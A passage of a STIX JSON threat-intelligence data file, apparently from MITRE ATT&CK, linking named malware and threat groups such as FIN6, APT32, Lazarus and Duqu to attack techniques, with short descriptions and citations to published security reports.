            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) enables remote interaction and can obtain additional code over HTTPS GET and POST requests.(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Morphisec ShellTea June 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Fin8 May 2016",
                    "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"
                },
                {
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
                },
                {
                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
                    "source_name": "Morphisec ShellTea June 2019"
                }
            ],
            "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:17:37.546Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7a3963b8-3ffd-41a9-bd03-57cba4f03882",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "external_references": [
                {
                    "source_name": "Palo Alto Sofacy 06-2018",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
                }
            ],
            "description": "(Citation: Palo Alto Sofacy 06-2018)",
            "type": "relationship",
            "modified": "2019-09-09T17:44:36.173Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4bb79228-9531-47c0-8e73-401e741593a8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) downloads a new version of itself once it has installed. It also downloads additional plugins.(Citation: Malwarebytes SmokeLoader 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/",
                    "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.",
                    "source_name": "Malwarebytes SmokeLoader 2016"
                }
            ],
            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-06-24T19:07:12.616Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--febbf503-d7e5-4896-90b9-35b6a811b19b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to remove indicators of compromise from tools.(Citation: APT3 Adversary Emulation Plan)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf",
                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
                    "source_name": "APT3 Adversary Emulation Plan"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.575Z",
            "created": "2018-01-16T21:43:14.128Z"
        },
        {
            "id": "relationship--ed94edc7-e687-409e-9143-20a15190bd83",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) has used HTTP for C2.(Citation: Palo Alto Shamoon Nov 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-06-02T21:49:34.973Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e4e36dcb-9c07-4c22-a182-61ac194a434f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) appends a total of 64MB of garbage data to a file to deter any security products in place that may be scanning files on disk.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "type": "relationship",
            "modified": "2020-03-17T00:43:32.130Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
                    "source_name": "Unit 42 Tropic Trooper Nov 2016"
                },
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) is capable of enumerating the running processes on the system using <code>pslist</code>.(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)",
            "id": "relationship--17cafa26-57f1-4efb-9d23-1399cd2de4cd",
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-05-29T03:23:28.026Z",
            "created": "2019-01-29T20:17:49.270Z"
        },
        {
            "id": "relationship--120ab07d-b167-4548-9e02-d241ccea8f02",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "description": "(Citation: US-CERT TA18-074A)",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.668Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) uses a tool called CLEANTOAD that has the capability to modify Registry keys.(Citation: FireEye APT38 Oct 2018)",
            "id": "relationship--0ccca05d-955c-40fa-9fd4-c10480abcf3d",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-09-09T19:10:53.368Z",
            "created": "2019-01-29T21:27:25.282Z"
        },
        {
            "id": "relationship--6592447f-31c8-46d0-8e88-47584fa301f0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of modifying the Registry.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-03-17T02:38:07.464Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--552ac18c-4fac-4cb0-aefc-811a10e1c320",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware RomeoDelta archives specified directories in .zip format, encrypts the .zip file, and uploads it to its C2 server. (Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "source_name": "Novetta Blockbuster Loaders"
                },
                {
                    "source_name": "Novetta Blockbuster RATs",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-12-11T17:47:22.953Z",
            "created": "2017-05-31T21:33:27.068Z"
        },
        {
            "id": "relationship--0fa0f5d6-be0b-4a48-938c-6d9bb8b1a170",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
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                    "url": "https://pan-unit42.github.io/playbook_viewer/"
                },
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                },
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                },
                {
                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "source_name": "FireEye APT34 July 2019"
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            ],
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                {
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                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
                }
            ],
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            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses a batch file that modifies Registry keys to launch a DLL into the svchost.exe process.(Citation: McAfee Honeybee)",
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                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
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                {
                    "source_name": "New DragonOK",
                    "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.",
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            ],
            "description": "(Citation: New DragonOK)",
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        },
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            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
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                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                },
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)",
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            "description": "can download and execute a second-stage payload.(Citation: FireEye APT37 Feb 2018)",
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            ],
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                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "type": "relationship",
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            "relationship_type": "uses",
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        {
            "id": "relationship--72f9bf47-61ac-42c8-acbf-65be7c25af0f",
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            "description": "[APT32](https://attack.mitre.org/groups/G0050) has infected victims by tricking them into visiting compromised watering hole websites.(Citation: ESET OceanLotus)(Citation: Volexity Ocean Lotus November 2020)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
                }
            ],
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            "source_ref": "course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
            "type": "relationship",
            "modified": "2021-04-27T19:56:54.586Z",
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            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) variants have communicated with C2 servers over HTTP and HTTPS.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)(Citation: Unit 42 Playbook Dec 2017)",
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                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "source_name": "ESET Sednit Part 1"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/",
                    "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 Sofacy Feb 2018"
                },
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
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                }
            ],
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                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "description": "(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used [Windows Credential Editor](https://attack.mitre.org/software/S0005) for credential dumping.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)\t\n",
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                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                },
                {
                    "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
                    "source_name": "FireEye FIN6 Apr 2019"
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            ],
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            "relationship_type": "uses",
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        {
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            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
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                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                },
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                    "source_name": "Secureworks Karagany July 2019",
                    "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
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            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) took screenshots using their Windows malware.(Citation: Lookout Dark Caracal Jan 2018)",
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                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html",
                    "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.",
                    "source_name": "FireEye FIN7 March 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "source_name": "FireEye FIN7 Aug 2018"
                },
                {
                    "url": "https://www.justice.gov/opa/press-release/file/1084361/download",
                    "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.",
                    "source_name": "DOJ FIN7 Aug 2018"
                }
            ],
            "description": "(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: DOJ FIN7 Aug 2018)",
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            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used DLL side-loading to launch versions of Mimikatz and PwDump6 as well as [UPPERCUT](https://attack.mitre.org/software/S0275).(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 Sept 2018)(Citation: Symantec Cicada November 2020)",
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                    "source_name": "PWC Cloud Hopper Technical Annex April 2017"
                },
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                },
                {
                    "source_name": "Symantec Cicada November 2020",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage",
                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
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            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2020-12-17T16:16:08.852Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4bd74c6c-9e4f-4048-b968-13319d68ff00",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) collects the victim\u2019s computer name, processor architecture, OS version, volume serial number, and system type.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html",
                    "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.",
                    "source_name": "FireEye FELIXROOT July 2018"
                },
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T01:16:25.941Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9453d60b-4f3f-494f-985d-e29094ef8945",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Net Crawler](https://attack.mitre.org/software/S0056) uses [PsExec](https://attack.mitre.org/software/S0029) to perform remote service manipulation to execute a copy of itself as part of lateral movement.(Citation: Cylance Cleaver)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.726Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6f8cef32-d057-40f8-be52-62d86b1049e6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SeaDuke](https://attack.mitre.org/software/S0053) can securely delete files, including deleting itself from the victim.(Citation: Symantec Seaduke 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Seaduke 2015",
                    "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.",
                    "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"
                }
            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T02:32:28.037Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5b686a7c-4fcd-44c2-9f57-1d88d6633ef4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[USBStealer](https://attack.mitre.org/software/S0136) registers itself under a Registry Run key with the name \"USB Disk Security.\"(Citation: ESET Sednit USBStealer 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
                }
            ],
            "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-11T17:45:54.147Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Radware Micropsia July 2018",
                    "url": "https://blog.radware.com/security/2018/07/micropsia-malware/",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) can perform microphone recording.(Citation: Radware Micropsia July 2018)",
            "id": "relationship--cff7d7e5-a279-4499-9b03-0cb47ac6b25c",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2019-04-17T22:05:05.861Z",
            "created": "2019-01-29T21:47:53.754Z"
        },
        {
            "id": "relationship--611cb6eb-efdb-4d74-b354-5064ab52bd34",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Modules can be pushed to and executed by [Duqu](https://attack.mitre.org/software/S0038) that copy data to a staging area, compress it, and XOR encrypt it.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
